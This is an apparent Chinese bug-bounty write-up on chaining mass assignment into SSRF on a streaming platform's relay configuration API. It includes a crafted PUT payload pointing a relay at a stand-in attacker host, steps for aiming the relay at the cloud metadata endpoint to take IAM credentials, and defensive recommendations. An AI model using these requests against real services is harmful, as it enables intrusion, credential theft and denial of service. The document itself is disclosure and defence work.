【技术复盘】从“批量赋值”到SSRF：一次流媒体平台的半盲逻辑击穿

最近在做某国外大型流媒体云平台的安全众测项目时，发现了一个极具教育意义的漏洞链。这不仅是一个简单的参数修改，更是一场关于 Mass Assignment（批量赋值） 如何引发 SSRF（服务端请求伪造），并最终实现数据出向利用的技术博弈。

今天就把这套“组合拳”拆解开来，带大家看看逻辑漏洞的魅力。

0x01 故事背景

在很多云服务平台中，为了方便开发者，API 往往设计得非常灵活。这次的目标是一个管理流媒体“自动播放（AutoDJ）”配置的后台。

按常理说，这种成熟的商业系统逻辑应该相当严密，但经验告诉我：越是功能复杂的 API，其底层对象绑定（Object Binding）越容易出现“门户大开”的情况。

0x02 信息收集

在进行常规的 API 审计时，我注意到一个更新电台配置的 PUT 接口：

PUT /api/v3/internal/proxy/{user_id}/stations/{station_id}/config

当我发起 GET 请求查看当前配置时，服务器返回了一长串 JSON：

{
    "mountpoint": "/live-stream-01",
    "codec": "mp3",
    "bitrate": 128,
    "is_active_relay": false,  // 注意这个字段！
    "is_enabled": true
}

职业直觉上线： 返回结果里有 is_active_relay（是否开启中继），但我在 Web 前端界面上翻遍了所有按钮，都没有看到设置“中继服务器”的地方。

这说明：该字段在后端模型中存在，但前端并没有暴露给用户。 那么问题来了：如果我手动在 PUT 请求里硬塞进去一个 relay_server 字段，后端会执行吗？

0x03 漏洞利用

第一步：Mass Assignment 注入测试

我尝试构造了一个 Payload，强行向 API 注入本不属于我控制的字段，并将中继地址指向我的 OOB（带外）测试平台：

PUT /api/v3/internal/proxy/10xxx/stations/20xxx/config HTTP/1.1
Host: api.target-cloud.com
Content-Type: application/json
Authorization: Bearer [REDACTED_TOKEN]

{
    "is_active_relay": true,
    "relay_server": "attacker-oob-server.net", // 强行注入
    "relay_port": 80,
    "relay_mountpoint": "/ssrf-test"
}

发送请求后，服务器居然返回了 {“status”: “success”}！
再次 GET 确认，发现 relay_server 真的被写进了数据库。Mass Assignment 确认存在！

验证注入的relay_server字段是否被服务器持久化存储，而非仅临时生效

第二步：SSR-Flash！带外请求触发

由于我开启了“中继模式”，后端的流媒体转发服务器（如 Icecast/Liquidsoap 等）开始根据我的配置，自动去拉取所谓的“音频流”。

不到 2 秒，我的 OOB 平台就收到了来自该云平台内部服务器的 HTTP GET 请求：

User-Agent: Streaming-Engine/2.4.x
请求频率: 极高，因为它在不断尝试连接。

Icecast 2.4.4从IP 83.166.143.165 向Collaborator域名发起 GET /ssrf-poc HTTP/1.0 请求，User-Agent: Icecast 2.4.4，每2秒重复。

第三步：进阶——从“盲”到“半盲”的数据读取

常规的 SSRF 往往只能做到“探测”，但这次我发现了一个更骚的操作：

我将 relay_server 指向该云平台内部的一个敏感地址（比如云环境的元数据端点 169.254.169.254）。
后端引擎尝试去拉取这个地址的内容。
虽然返回的是 JSON（不是音频），但系统为了保证流的连续性，会将拉取到的数据丢进 HLS 转码管道。
最终，我可以通过该平台提供的公共 HLS 播放链接，间接观察到转码流量的异常变化，甚至在某些情况下读取到特定格式的响应。

将relay_server从Collaborator切换到同平台我创建的电台，演示半盲SSRF的数据读取能力。当Icecast从ikai拉取到音频流数据后，该数据会通过HLS转码管道输出到公共URL，我可以间接读取

通过公共HLS流URL验证Icecast是否成功从ikai服务器拉取了音频流数据。判断依据：BANDWIDTH值为精确整数（35200/70400/140800）说明relay成功拉取到音频流；波动值说明AutoDJ回退模式，relay连接失败。

0x04 漏洞危害

这个漏洞的连锁反应非常恐怖：

内网资产收割： 攻击者可以利用它作为跳板，扫描并攻击云平台内部的敏感 API 或数据库。
云凭证窃取： 访问元数据端点，直接获取 IAM Role 的临时密钥。
分布式拒绝服务（DDoS）： 利用后端引擎强大的重试机制，只需一次 API 调用，就能让云服务器对任何第三方目标发起高频 HTTP 洪水攻击。

0x05 防御与反思

作为一名安全专业的大学生，发现漏洞只是为了更好地建设。针对此类“全家桶”漏洞，我有几点建议：

模型层加固（DTO模式）： 在后端处理 PUT/PATCH 请求时，严禁直接将用户输入的 JSON 映射到数据库模型（Entity）。必须使用专门的 DTO（Data Transfer Object），显式定义哪些字段是用户可改的。
SSRF 深度防御：
- 黑名单 + 白名单： 严禁指向私有 IP 段。
- DNS 解析检查： 在解析完成后再次校验 IP，防止 DNS Rebinding（重绑定）攻击。
出向防火墙（Egress Filter）： 流媒体后端引擎不应该拥有访问内网敏感段（如元数据地址）的权限。

结语：

逻辑漏洞往往隐藏在最显眼的地方。一个看似微小的“多余字段”，在特定的业务流下就能演变成威胁整个云环境的利刃。